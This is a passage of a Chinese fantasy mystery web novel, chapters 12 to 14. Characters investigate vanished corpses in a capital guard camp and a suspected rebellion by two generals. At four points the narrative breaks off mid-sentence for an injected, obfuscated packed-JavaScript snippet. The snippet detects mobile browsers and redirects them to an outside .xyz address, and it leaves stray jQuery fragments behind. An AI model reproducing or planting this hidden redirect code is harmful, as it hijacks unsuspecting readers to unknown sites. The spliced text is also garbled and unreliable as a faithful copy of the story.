她回忆不出来。 而傅水伤已忍不住要翻白眼,她道:“仙尊,你演……你表现的就好似一个从来不和凡人接触的世外高人一般。这可不对劲。” “你是那个什么宗的少主不是?那你总要跟着宗主出门的吧?别的不说,宗门收徒这种大事要参与的吧?来拜师的新人肯定都是凡人,你不可能不和凡人接触,更不可能对凡人一无所知。” 傅水伤越说越摇头。她想这骗子编故事的能力怎么时强时弱,会出现这种漏洞,显然是只顾着她那出尘忘世的仙人姿态,忘了把身世编好。 “我十四岁开始闭关,十二年间一直在修炼,不怎么参与别的事情。”叶边舟许久才说出这么一句话,在傅水伤听来依旧是漏洞百出。 “那也不对劲啊。”傅水伤忍不住要帮她把这拙劣的谎言编好,“你可是少主,未来要管理整个宗门。宗主允许你不问俗事只管修炼?难道说在你们那里做宗主,只要武功高强便万事大吉,其它什么也不必管?” “自然不是。”叶边舟摇了摇头。她好似一时想不出要怎么应对,沉默片刻,才道,“但我有很重要的事情去做,我必须先提升修为。” “倘若我因此无法胜任宗主之位,自然有其她师姐师妹能者居之。” “比如说我!”文武成忽然探头进来,指着自己说了一句。叶边舟就微微侧目,看了她一眼,而傅水伤直接把人推了出去,将门关上。 “是什么重要的事情?”傅水伤接着问。 但叶边舟应是再也编不出来了,她只是低头看着手中的剑,很快又抬头,冰冷目光直视着傅水伤,“那就不是你该知道的事了。” “行行行。”傅水伤呵了一声,“您自己知道就行。” 她又将车门打开,而马车已然停下。赵得真准备的马车果然无人阻拦,甚至有人主动引路迎接。 “仙尊,”那是个身形高大的中年女人,她走上前来,向叶边舟抱拳,“赵将军让我们配合仙尊查案。仙尊想看些什么?还是我带着仙尊在营地中随便转转?” 傅水伤见她赤手空拳,但长得像是能一拳打死两个叶边舟的样子。她便先一步下车,将车辕上两把大刀拔出,站在那人面前。 其她人也随后下来,文武成先开口说话。她对那女人摆摆手,道:“不用你。” 随后又回头对叶边舟道:“师姐,我带你们去!” 她说完便找了个方向,径直走去。其她人也都跟上。傅水伤见那女人也跟着,便落后几步走在她身边。 那女人没有理会她。她原先也只是跟着,可走着走着,脸色便渐渐难看起来,甚至想要转头离开。 傅水伤跨步移到她面前,转了转手里的大刀,笑问道:“去哪儿呢?” “到饭点了去吃饭,怎么了?”她跟她们那将军一样,对傅水伤没有半点好脸色。但她又比赵得真更放肆一些,还敢转头去问叶边舟,“仙尊要不要一起啊?” “我们仙尊早已辟谷……”傅水伤方一开口,又听走在最前的文武成扬声问道:“吃什么啊?” 傅水伤:“……” 她瞪向叶边舟,叶边舟便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972299|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头示意文武成闭嘴,继续带路。 可这么片刻功夫,那女人已改变主意,完全没了要离开的意思。她们身边有其她人来来回回,女人便随意地看着她们,不知是否已将想要传递的信息送了出去。 傅水伤看不明白,也只好继续前行。 营地看起来一片祥和,不像是有任何怪事发生过。而文武成从毫无异常的人群中穿过,带她们进到了一个仓库里。 这里面乱糟糟地堆放着许多箭矢,只有门口的被动过,其它的都覆上了一层薄薄的灰尘。结了一半的蛛网上挂着挣扎的蚊虫,一副许多天无人来过的样子。 “我刚刚来的时候这里面还干干净净的。”文武成拿食指蹭了点灰尘,又半跪着去看蜘蛛捕食,好奇问道,“你们怎么做到的?当真像是好几天没人进来一般。” 她问完也没有等那女人回答,只是将面前成捆的箭矢踢开,清理出墙角一片空地。随后她在青石地板上一阵摸索,找到一个针眼般大小的孔洞,拿了根细铁丝插进去,来回转动了许久。 终于听到“咔哒”一声,地面缓缓下降,露出一个仅能一人通行的甬道。 “好了!”文武成半跪着往下看,还不忘抓着叶边舟的衣角擦了擦手,问道,“师姐,我们下去看看?” 叶边舟退后一步,点了点头。 “我先下去。”傅水伤也半跪在洞口去看。她先前站在叶边舟身后,只见她后退,便以为她是害怕,就决定自己走在最前探探路。 可文武成十分怀疑地看向她,“你?” “还是我来吧。”她道,“你这样弱的凡人,万一吓晕了,到最后还得让我照顾。” “这话对你家师姐说。”傅水伤直接跳了进去。 这里面漆黑一片,最开始还有些光亮,没走几步便已伸手不见五指。她只能摸着墙壁行进。 其余人也一个个地跳了进来。她们之中似乎只有阿阳在害怕,她紧紧地抓着前面的文武成,声音发颤,“仙尊,你们是不是能看到东西啊?” “当然能了。”文武成道,“看得一清二楚。” “我们凡人看不见!”阿阳已经快要趴在她背上了,“您不给我们照一下吗?” 黑暗的洞穴便忽然亮如白昼。傅水伤回头看去,只见文武成高举着右手。她手中似乎抓着什么发光的东西,又似乎什么都没有,只是凭空发出光亮。 “凡人真是麻烦。”文武成好似有些不耐烦,“师姐,下次我们自己来。” 叶边舟没有理她,她连头都没有回一下。傅水伤也继续向前。而走在最后的中年女人始终沉默不语,就好似并不存在。 狭窄通道中忽然安静下来,直到傅水伤走到尽头。 这里已宽敞了许多,几人围在一起,看着尽头处的铸铁大门。 “我知道怎么开!”文武成挤到最前面去,可傅水伤已将门推开。 她只是随便试试,并没有用多大力气,推开后便也有些惊讶。她下意识向前一步,走了进去。 文武成待要跟上,却见傅水伤堵在门口不动弹。她像是看到了什么令人震惊的东西,僵了片刻,吸气时发出轻轻的“咝”声。 “凡人果然被吓傻了?”文武成推开她挤进去,“你可别昏倒——要昏倒也爬出去再昏倒……” 她忽然也不说话了。 而傅水伤回头,对叶边舟做出一个“请”的姿势,“啧”了一声,道:“仙尊,你要不要再问问你师妹看到了什么?” “这里面可什么也没有啊。” 12. 一滴血 她看见叶边舟走进来,扫视一圈后微微蹙眉;阿阳闻言,终于敢把眼睛睁开,好奇打量;而跟在最后的中年女人也难掩惊异,却又微微松了口气,随后匆匆把所有神色都收敛起来。 傅水伤看不出她们是否是在演戏。她只好随叶边舟一起,将目光投向了文武成,问道:“这是怎么一回事?” 文武成也是满心茫然震惊不已,她道:“刚才真的很多尸体!几乎都堆满了!怎么可能突然就没了?这里还有其它暗室相通吗?” 这倒也是个合理的猜测。傅水伤便招呼其她人一起寻找暗室的踪迹。 可叶边舟与文武成纹丝不动,前者微微阖眼以神识扫过,未发现异常,又开口道:“但这里连一丝鬼气也寻不到。” 即使尸体可以迅速地转移到别处,残留的鬼气却不可能这么快消散——除非有实力不俗的修道者主动清理。 而清理的这样干净,那人要么远在自己之上,要么极善于操纵鬼气。 叶边舟沉思不语。她的目光不曾转移,被她盯着的文武成便误解了她的意思。 “师姐,你怀疑我骗你?”文武成很熟悉她这仿若看穿一切的眼神,立刻便怒了,“你觉得我什么也没看到,是又在故意编谎话骗你?!” 她有些生气。但她用神识扫过,也并没有发现别的出口,别说鬼气不应该这么快消散,就连那些尸体也不可能突然消失才对。她想换了她自己,可能也要怀疑自己在说谎。 但她依旧生气,哼了一声,直接转身走了,“那你自己看吧!” “我……”叶边舟解释的话才刚开头,便已不见文武成的踪迹。她也并不在意,转头向傅水伤继续说,“……只要有最低级的空间法器,便能瞬间转移走所有尸体,这并不是什么难事。只是鬼气消失的这样干净,做下这些事的人,实力恐怕在我之上。” 傅水伤也未能找到什么相连的暗室,听到叶边舟的话,她便停下动作,忍不住失望起来。 原以为文武成是真的发现了什么,可现在听她们那话,竟好似是准备单凭两张嘴施展骗术。恐怕这暗室根本没有任何异常,而叶边舟就准备用刚才和文武成演的那一出戏,去让其她人相信这里曾有无数尸体出现又消失。 这怎么可能骗得过丘执玉? 傅水伤懒得陪她闹了,一边敷衍地点头,告辞道:“既然比仙尊还厉害,那我们凡人就不管了。” 一边转身拉着阿阳,摸索着离开。 文武成走后,这里便恢复了漆黑一片的模样,阿阳有些害怕,犹豫之后还是跟着一起走了。那中年女人不知在想些什么,略微站了片刻,亦转身离去。 只留叶边舟在暗室里,独自疑惑。 她并没有觉得文武成是在骗她,便更觉背后之人神秘莫测。从文武成离开到带着她们回来,中间不过半刻钟。那人恰在此时把尸体都转移,绝对不是巧合。要么是方才的女人通风报信,要么就是自己一行人的行动皆在她掌控之中。 她暂且认为前者可能性更大,便准备继续查下去。在掌中燃起灵火观察着这暗室,她又疑惑起别的: 也不知方才傅水伤为什么忽然离开,似乎还带着莫名其妙的怒气。 她好似没有招惹傅水伤吧? * 傅水伤确实是有些生气。文武成那么好的轻功,在营地里待了一上午,最后却只找到了一个空荡荡的暗室。那恐怕这里真的干干净净,两个骗子找不到什么线索,情急之下才编出了这么一个拙劣的谎言。 白跑一趟,还是赶紧回家睡大觉好了。 傅水伤跳回到地面,把阿阳拉了上来,见到紧随其后的中年女人,却又改了主意。她摸了把肚子,问道:“你刚才不是说到饭点了?请我们一起去吃个饭呗?咱们中午吃什么?” 那女人嘴角微动,蹙眉瞥她一眼,没理她。这样子倒和赵得真想骂人又忍住没开口的样子全然一致,让傅水伤都忍不住开了句玩笑,“你跟赵得真倒是挺像,不会是她亲娘吧?” “不是。”女人倒是摇头解释了,“我是她的副将,朱向明。” “原来是朱将军,我是明镜府傅水伤。”傅水伤又道,“我们也算是认识了,一起去吃个饭?快饿死了!” 回城还有好一段距离,傅水伤忍不了。 “你饿死了不是好事一桩?”朱向明轻嗤一声,转身便走。可她没走几步,竟见傅水伤拉着阿阳跟在身后。见她回头,还对她笑着招手。 她实在是佩服傅水伤脸皮的厚度,却也没办法把人赶走,只好当看不见,继续做自己的事。 方才她也不是胡说,确实是到了饭点,而她也有些饿了。跟着她的傅水伤便如愿地找到了吃饭的地方,领了食物后,又特意坐到了朱向明面前。 朱向明看她一眼,把筷子砸在碗上,终于把骂她的话说出了口,“滚一边儿去!” 傅水伤纹丝不动,阿阳却已迅速地站起身,走到了最远的角落里,只给她留了一个关怀的眼神。 “……”傅水伤无语至极。自己这边的人做出这么胆小怕事的样子,连带着让她感觉自己的气势都矮了一截。她原本想骂回去,这下便也只是动了动嘴角,没说话。 两人面对面吃起了东西,气氛倒好似和谐了起来。傅水伤瞪了阿阳一眼,又移开目光四处去看。 正是饭点,京都卫军的人应该都会过来。可惜她也看不出什么,只是往另一边的角落里多扫了两眼。 那里有几个男兵。整个京都卫军好似也就那么几个男的,让傅水伤颇有几分好奇。 朱向明却又忽然开口。她压低声音,满是恶意地道:“乱看什么?喜欢看男人就回家看你爹,让他把畸疤割下来塞在自己皮燕里给你看个够。” “那确实挺好看的,可惜我没爹。”傅水伤本已移开目光,听她这么说,却又继续看了起来,一边随口道,“把你爹借我看看?” 她想这人偏偏在自己看到那几个男人时生气,那或许他们之中就有猫腻。虽然她还没看出来,但只要她多看看—— ——她也依旧什么都看不出来。 傅水伤有些泄气,十分想把丘执玉抓过来放在这儿替她。她余光发觉朱向明愈来愈不悦,怕吃到一半的饭被她给掀了,只好先把目光收回。 朱向明张了张嘴,似乎又有骂人的话要脱口而出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972300|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她没能说出来,便先被别的声音打断。 “你们吃的什么?”文武成不知道从哪儿冒了出来,跳过板凳坐在两人之间,盯着她们的碗,“给我吃点。” 傅水伤没理这骗子。而朱向明却还算是客气,起身去帮她打饭。只是回来时不知是有意还是无意,恰好从那几个男兵身边经过。 她倒并没有任何多余的动作,更不曾开口说半个字,可那几个男兵却仿佛是收到了什么指令一般,不约而同地匆匆离去。 “仙尊慢用。”朱向明把碗筷放在文武成面前,不经意似的挡住了傅水伤窥探的视线。 傅水伤自是毫不客气地挺身越过她去看,认真记住那几人的面容,准备随后再查。 待那几人走远,她又听到身边文武成很重地“呸”了一声,倒好似是从饭菜里吃出了虫子一般。她不由得回头去看,便见文武成把刚刚入口的东西吐在一边,捞过水壶来猛灌了几口,眉皱的极深。 “什么东西?!怎么这么难吃!”她扒拉了几下碗里的东西,把筷子放了下来。 傅水伤低头吃了口自己碗里的,没觉得有什么问题,便道:“还行啊。仙尊平常吃什么?龙肝还是凤髓啊?” “反正不吃这种狗食。”文武成听出她话里的讥讽,便抬头回了一句。 “那正好,给我吃。”傅水伤也没生气,直接把她面前的碗拉到自己这边。 一份本来就不够她吃的,这下刚好,不用怕稍后吃完再去,饭已经没了。 文武成瞥她一眼,没说什么。她坐在旁边无聊,随手抓了个空杯子,用手指让它不断地转动。 傅水伤被那声音弄得烦躁,一伸手把她的杯子移走,在她质问之前先开口转移话题,“你家师姐呢?” “不知道。”文武成想起她的师姐,便轻轻翻了个白眼,“还在那暗室里面吧?管她呢。” 傅水伤倒是没想到叶边舟真的就一个人留在了那里。文武成多少还有轻功,叶边舟那手无缚鸡之力的样子,要是朱向明派人过去,保管轻轻松松把她弄死。 她想了下,还是道:“吃完饭去叫你师姐来,我们只有一辆马车,一起回去。” “她有剑,让她御剑不就好了?”文武成不想管她。 傅水伤闻言便轻“嗤”一声,不说话了。 还御剑,怎么不直接腾云驾雾呢? 她管那么多干嘛?最不希望那大骗子出事的就是这小骗子。 果然吃完饭后,第一个要去找叶边舟的还是文武成。朱向明已提前离开了,傅水伤便招呼阿阳一起,又回到了那暗室里。 叶边舟竟真的还在那里。黑暗之中她独自半跪在地上,文武成手中的光芒照亮她时,她才起身看了过来。 “师姐,”文武成站得远远的,“走了。” 叶边舟却先指着脚下,道:“你来看。” 她脚下有一滴米粒般大小的血迹,已彻底干涸。文武成俯身用食指碾过去,便感受到一丝鬼气迅速逸散出来,随后消失。那鬼气过于稀薄,若不是有所准备全神贯注,根本无法察觉。 “与赵得真身上的鬼气同源。”叶边舟道。 13.钟鼓楼 “这肯定是从那些尸体上流下来的!”文武成觉得自己冤情洗刷,不免笑起来,“我就说我没有撒谎吧!” “我本来也并没有怀疑你。”叶边舟解释了一句,又道,“走吧,这里再查不出更多的了。” 傅水伤在后面听得不住翻白眼。以那血迹的凝固程度来看,它离开人体至多不过半个时辰。想是她们离开之后叶边舟从自己身上放的,加上口说无凭的几句“鬼气”,就想要骗人了。真是完全把人当傻子。 她倒也并没有说什么,却也同样未将朱向明和那几个男兵的怪异之处告诉她们。她想她应该自己去查。 虽说她并不会查案,可她现在看了叶边舟与文武成这“查案”的过程,忽然便自信起来了。 至少她不会说出这样假的谎话来。 这时她们已走出了地面,回到来时乘坐的马车边上。她们准备回到城中去,而傅水伤已先上了马车。 她却又忽然想起些什么,蹲在马车边缘上回身,盯着叶边舟那从未出鞘的剑。 “仙尊,”傅水伤笑得格外不怀好意,“你家师妹刚才说你可以御剑回去。我还从未见识过御剑飞行呢!” “你想要看我御剑么?”叶边舟停在马车之前,将手放在了剑柄上。 她似乎要拔剑出来,可却又停顿片刻。傅水伤已忍不住要暗暗嘲笑一声,却突然被人揽着腋下抱起来,下一瞬便升到了高空。 “你想飞是吗?我带你!”文武成忽又莫名地兴奋起来,抱起傅水伤跳到树梢之上,在叶片间穿梭。她速度极快,瞬息之间便已远离了营地,再也看不见叶边舟的影子。 一面飞在半空中,又一面把傅水伤放在她脖子上的手移到肩上,笑道:“你害怕的话抓着我肩膀,别抓脖子啊。” “……嗯。”这突如其来的一下教傅水伤险些没忍住把她掐死。她尽力克制住了,回头去看京郊茫茫林海,心道这小骗子倒是聪明,这么及时地给叶边舟解了围。 文武成又很快继续与她说话,她一副疑惑不解的模样,抬着下巴,道:“凡人,你现在应该一脸崇拜地看着我才对。” 傅水伤对着她的脸翻了个白眼。 “喂!”文武成不高兴了,“你想飞,我就满足你的心愿带你飞。你就算真的没有半点崇拜,你至少装一下当作报答吧?” 傅水伤又翻了个白眼。 “你信不信我把你扔下去?”文武成眯着眼威胁,可傅水伤丝毫不惧,半点反应也没给她。 文武成只觉得没意思,不理她了。可没多久她又轻哼一声,道:“算了,我知道你心里面肯定是特别崇拜我,不过是不想表现出来而已。” 傅水伤:“……” 傅水伤翻白眼翻累了,她觉得她的眼皮都快要练出八块腹肌了。 “当然你崇不崇拜都没关系,反正不论怎样,我就是比你厉害!”文武成又得意地补充了一句。 单论轻功的话,她说的自然是事实。傅水伤也的确很佩服她这脚上功夫,便没忍住低头观察,企图偷学一二。 但她未能看出什么特别之处,而文武成很快便已落在明镜府内,把她放下。 “怎么送我来了这里?”傅水伤落了地,却依旧抓着她的肩膀不放,“明镜府今日没我的事,麻烦你送我回家吧。” “你还指起路来了,把我当马车用么?”文武成直接推开她的手,又跳回到了屋顶上。转瞬间便没了影踪。 看那方向,应是回去找叶边舟了。 傅水伤只好走路回家。她见到自己那已和废墟没什么区别的屋子,才又想起了清晨时的事情。想了想,她还是进去把值钱的东西收了收,将房屋地契一并挂在良居府低价出售。 京都城中房屋地皮的买卖皆须由良居府来办,傅水伤要买新房子,便直接在这里挑了起来。她很快找到了一个位置适合的,就直接与良居府的人一同前去看房。 这房子在钟鼓南街的末尾,与北街的明镜府离得不远。坐在院子里抬头,便能看见远处的钟鼓楼。 那是京都、乃至整个东扶最为高耸的楼阁。楼高九层,最顶端处有一个巨大的八面晷,从任何方向望去,都能一眼看到当下的时辰。它下面挂着一个黄铜大钟,以复杂机关与八面晷相连,每当日出之时便会自动敲响。 钟鼓楼下钟鼓街,亦是京都最繁华的地带。 傅水伤一眼看中,直接交了定金。将良居府的人送走,她便坐在了屋顶上,低头盘算这不大不小的院子该怎么安排。 卧房很宽敞,客厅也很大,甚至还能多出一间来做书房。院子西面可以弄出一个专门的练武场,东面能种些花草。价钱也不贵,刚好把池之澈给她的金子花完,简直是白捡。 她对这屋子很是满意,又转头去看远处的钟鼓楼。 太阳正挂在半腰上,将它照得熠熠生辉。她好像看到有金光在其中流动,眨眼之间却又消失不见。 这是被日光晃得眼花了。傅水伤想着,便将双眼闭上,低下头又重新睁开。 她便立刻伸手握住了自己的大刀。 “……凌王殿下?” 清晨令池之澈砸了她院子的少年又出现在此处。她抬头看着远处的钟鼓楼,片刻后又低头盯着地面。看起来格外呆傻。 “我这新买的院子,还不想被你那护卫给拆了。”傅水伤忍着跳下去把人埋墙角的冲动,“你行行好,换个地方?” 那少年像是什么也没听到,只呆呆地站在那里,一动不动。她盯着地面,好似那里有什么极其引人注目的事物。她看了许久,连眼睛也不曾眨一下。 傅水伤便站起身来四下去看。她并未能找到池之澈的身影,便将手中大刀握得更紧了一些。 不过闭目几息的时间,便有人走进来站在了她的眼皮子底下,她却一无所觉。这痴傻的凌王自是无法做到,只能是池之澈所为。 也不知这人究竟想要做些什么。 “阿澈?”傅水伤不欲多想,便直接开口,“既然来了,何不现身?” 并未有人理她。底下的凌王也只是换了个姿势,缓缓跪坐在地。 傅水伤跳了下去,走到她面前。她弯腰在凌王眼前晃了晃手,问道:“殿下?在看什么呢?” 凌王依旧未有反应。她双手上满是泥污,衣服也沾满了灰尘。她只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975868|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是睁大双眼,紧紧地盯着地面的某一处。 傅水伤还想再问,却听见门外有急匆匆的脚步声传来,伴随着女人焦急的呼唤。 “凌王?殿下?阿恒!阿恒……”池之澈慌慌张张地找人,她几步跨过傅水伤的门口,又连忙退回来,大松了口气,“你在这儿……又乱跑,哪天真跑丢了可怎么办?” 找人的时候她焦急万分,找到了却又并未多看一眼。她甚至都没有扶一下凌王,就让她那样趴在地上,只好奇地与傅水伤打了招呼,“水伤姐,你怎么在这儿?” “来买房。原来那房子不是被你拆了?”傅水伤看不懂她演的哪一出,便抱着大刀站在了廊下,隔着几个台阶望着她,“阿澈你呢?怎么带凌王殿下过来了?” “前面便是凌王府,离得不远,殿下自己跑出来的。她老是乱跑。”池之澈唉声叹气,第无数次在心里面想象这傻子流落在外沦为乞丐的凄惨生活。 想完后她又无奈地摇了摇头,拉着傅水伤的手进到屋里,坐下来隔着大开的房门盯着凌王。 “水伤姐你也坐啊,不必客气,当自己家就好。”她想倒点茶,但茶壶空空,一滴水也没有。她又盘腿坐在椅子上,双手交叉压着脚踝,坐姿十分奇怪。 “……这本来就是我家。”傅水伤也坐下来,看着门外的凌王。 她几乎已经要趴在地上了,一眨不眨的眼睛离地面越来越近,终于把额头抵在了泥土上。 “啊,抱歉。我忘了这房子已挂到良居府出卖了。”池之澈道,“这原本是凌王殿下的。” “殿下拆了你原来的房子,你又买到了殿下的房子。”她伸手想拍傅水伤的肩,“水伤姐!咱们真是有缘!” 傅水伤也未躲,给她拍了两下,便期待着她接下来的话。 都说到这儿了,她觉得池之澈应当顺便来一句“这房子送你了”。她总觉池之澈像是要利用她做些什么,那连报酬都不给的话,她可就只好让池之澈帮她给即将种下的花草施施肥了。 可她等了许久,并不见池之澈有这意思,她只能好失望地自己开口,“这么有缘,能便宜一些么?” 池之澈本就莫名地对她颇有好感,闻言便大手一挥,“送你了!又不是什么值钱东西。凌王殿下也不在意。” 最重要的是,也不是她的东西。 这下傅水伤满意了,为表感激特地对她笑了笑。池之澈看着她,也跟着笑,却又忽地开口去问:“赵得真的事,你查得怎么样了?” 废话说了那么多,终于是要表明目的了。 傅水伤打起精神,然后极其诚实地摇了摇头,“……什么也没查到。” “我就说你该先去京郊营地的,你偏要先去她家里。”池之澈也不住摇头,“营地里的东西定是被她处理了。” “营地里有什么东西?”傅水伤不跟她打哑谜,直接去问。 池之澈倒也同样直接地回答了,“尸体。” “应当有很多尸体,成百上千,都惨死在短短十几日之内。” 傅水伤便微微蹙眉。 她原以为那不过是文武成编造。但为何池之澈也这样说? 14.生死之交 “那些人皆属于京都卫军第三营。”池之澈却不知道傅水伤心中疑惑,只继续说,“第三营在五百年前便有了,虽名义上归属京都卫军,实际却只听从皇帝调遣,规模与实力也仅次于镇国军。” “他们永远只忠于皇帝——不论皇帝是谁,是怎么当上的皇帝。只要你坐在了皇位上,它就是你的。” “但在皇位易主之前,任何人都不可能策反他们。” 她话语里似乎带着无尽的暗示,意味深长道:“而他们、还有宫中侍卫,都是自赵得真从红溪谷回来之后开始陆续惨死的——” “——赵得真去红溪谷,是为了接朱将军。” 她声音渐渐低下去,既留有余地,又完全足以令人听懂。直到声音停止,她等待着傅水伤恍然大悟。 可惜傅水伤是全然听不懂的。 她倒是明白第三营如何如何的那些话,像是在暗示赵得真意图谋反。可池之澈那抑扬顿挫的语气,却是显而易见地将重点放在了最后一句。她不明白赵得真去红溪谷接一下朱将军是怎么了,和前面那些话又究竟有什么干系。 于是她开口问了,“朱向明?赵得真亲自跑那么远去接她的副将?” “副将?朱将军和你说的?”池之澈愣了一下,旋即摇头,“朱将军是镇国军统领,东扶大半兵力都在她手中。没有朱将军的话,区区一个赵得真,什么也做不成的。” 她随后用一言难尽的目光看着傅水伤,颇有些无语,“你好歹也在明镜府任职,就算不认得朝中之人,你总该听过她们的名字吧?” “或许是听过吧。”反正傅水伤想不起来,她只是道,“丘大人曾与我说,以我的身份,唯一能遇见那些人的机会,就是她们哪天犯了事被推到明镜台前让我砍头。这辈子都见不到的人,用不着去记她们的名字,死人的名字就更不必记了。” “我觉得丘大人说得对。” “……哪里对了?丘执玉说这话,显然就是从没想过要提拔你。你武功这样高强,她竟打算让你一辈子只做刽子手吗?”池之澈忽然握住了她的手,“水伤姐,不然你跟着我吧!丘执玉无情无义,你跟着她干没有前途!” “那还是不了。”傅水伤抽回手,果断拒绝。她并没有和池之澈联络感情的打算,立刻又回到方才的话题,“所以你的意思是,赵得真准备联合朱向明一起造反?” 池之澈微微点头,亦回到正题,“朱将军有兵,而赵得真对京都布局了如指掌。她们还曾一同在灵晖郡王手下任职,灵晖郡王故去后也一直有所往来。” “雁翎府还查到,朱将军自红溪谷回来之前,刚放了一批士兵退伍还乡——而她们的家乡,‘恰好’多是在京都附近。” “还有约摸一万人在两年时间里离奇消失,说是出海遇到水怪,全部牺牲了,连尸首也未能留下。可她们频繁出海,本来就不正常。我想那些人恐怕也早已藏在了京郊——这几年间京都卫军的物资消耗也越来越多。” “或许朱将军还带回了什么奇人异士,准备要先悄悄解决掉第三营。只是还不知她们为何要杀死宫中侍卫与那个吴小。不过我们有仙尊,倒是不必害怕这个。” 傅水伤也想不通赵得真杀吴小那些无关之人做什么。她猜或许她们是想要弄出些神神鬼鬼之事来分散皇帝的注意力,好让她们一心去查那些不存在的怪力乱神之事。 可有什么用?还不是这么轻易就被发现了所有的谋划。 但她同样不担心这个,她并不觉得有什么“奇人异士”,只是挑眉去问:“你与我说这些做什么?看来陛下已查得清清楚楚了,我难道不是只需等陛下决断,然后去明镜台杀人就好?” 池之澈摇了摇头,“陛下固然知道她们要造反,可她们也实实在在还没有造反。要处置她们并无证据,更不能令镇国军服气。” “陛下的意思是,让她们真的造反。” “两年前朱将军那里刚有异动,陛下就已有所准备了。她们但凡敢带兵入宫,就只有死路一条。”池之澈说,“可她们也不傻,或许同样已有所察觉。如果她们偃旗息鼓,这隐患不知何时才能消除。” “我原本想着仙尊该能找到那些尸体的。身为京都卫军大统领,却无故虐杀手下士兵,证据确凿的话,至少能把赵得真投入天牢。而朱将军一定会去救她,那她们就不得不造反了。” “可赵得真一听陛下要让丘大人去查她,那么快就已将尸体都处理了。”池之澈叹气道,“你再想想别的办法,送她到明镜台上去吧。” 傅水伤抱手听着,此时便万分惊诧地指了指自己,“我?我想办法?” 她道:“她们不傻,我难道就傻了吗?倘若赵得真没能造反成功,而陛下却也没能将她们剿灭,两败俱伤之下,想找个台阶各退一步。到那时陛下是不是要说‘朕就知道爱卿从没想过造反,全都是傅水伤那个刁民陷害,朕也是被蒙蔽了’,然后把我砍了当台阶?” 否则她想不明白为什么要教她来做这种事。池之澈说这些话显然是有皇帝授意,而她不过是个刽子手。她唯一能想到的原因,就是皇帝亦担心这样的结局,而她舍不得砍丘执玉或是池之澈,已决定到那时便牺牲掉她这个无关紧要之人。 池之澈似乎是没料到她还能想到这里,有些吃惊地瞪着她,“陛下可不是这种人!” “你可以去找丘大人商议。”她又道,“我原本就是要去将这些告诉给丘大人的,不过是刚好遇见了你。丘大人信任你,我才与你说的。你不要想太多。” 傅水伤想了下,点头道:“那我现在便去找丘大人。” 朝堂上的事,丘执玉自然比她了解的要多,也绝不会害她。而这可是造反的大事! 赵得真的九族加上朱向明的九族,她简直不敢想此事结束之后她能有多爽。 她想着便笑了一下,看着池之澈。池之澈不知她为何发笑,但也下意识跟着笑了。 两人面面相觑,傅水伤忍不住开口,重复道:“我要去找丘大人。” “你去呀。”池之澈点头。 “……这是我家。”傅水伤明说了,“主人要走了,你还不走?” 池之澈才恍然大悟一般用力点头,却坐着一动不动,“我倒是想走啊!” 她看向门外,凌王依旧是趴在地上,盯着面前的泥土。她好似完全没有动过,恐怕连眼睛都没有眨过一下。初秋依旧有些闷热,她的汗水一滴滴落在地面上。 池之澈走出去帮她擦了擦,转而坐在了台阶上。她又对傅水伤挥了挥手,道:“水伤姐你去吧!殿下看起来还不准备走,我陪着她。刚好把你这院子修整一下,保管你夜里回来就能直接住!” 她都这么说了,傅水伤当然毫不客气。向她说了下自己心中规划好的布局,便转身朝明镜府去。 在明镜府里转了一圈也不见丘执玉的身影,反而是看到一脸兴奋的阿阳。她挥手跑了过来,喜悦之色溢于言表。 “水伤!”阿阳笑道,“你猜我怎么回来的?” 不等傅水伤说话,她已忍不住自己回答,“仙尊御剑带我回来的!” “嗯。”傅水伤随意地点了点头,扫了眼一边的马车,“那它是怎么回来的?” “仙尊令它自己回来的!”阿阳激动万分,“御剑可真快,眨下眼的时间!” 傅水伤便猜测是文武成施展轻功带她回来,而叶边舟以催眠之术让她以为自己站在一柄剑上飞了回来。马车则是叶边舟赶回来的。 虽说池之澈也说尸体确实存在,大约是被藏在了别处。文武成的话并非是全然虚假。可御剑也还是假得太过分了,那两个骗子真有法术的话,也不至于连尸体藏在何处都找不到。 可阿阳看起来深信不疑,傅水伤便也没说什么,只是问她:“丘大人呢?” “丘大人回家了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她想昨日叶边舟不经同意便进了她的院子,她也有几分生气,倒是能理解丘执玉。可她想着想着又忽然惊觉,叶边舟没有轻功,她是怎么进去的? 她不知怎的想起了阿阳开开心心说仙尊带她御剑的样子,又很快在心里摇头。 有手有脚的人,不会轻功也会爬墙,有什么奇怪的。 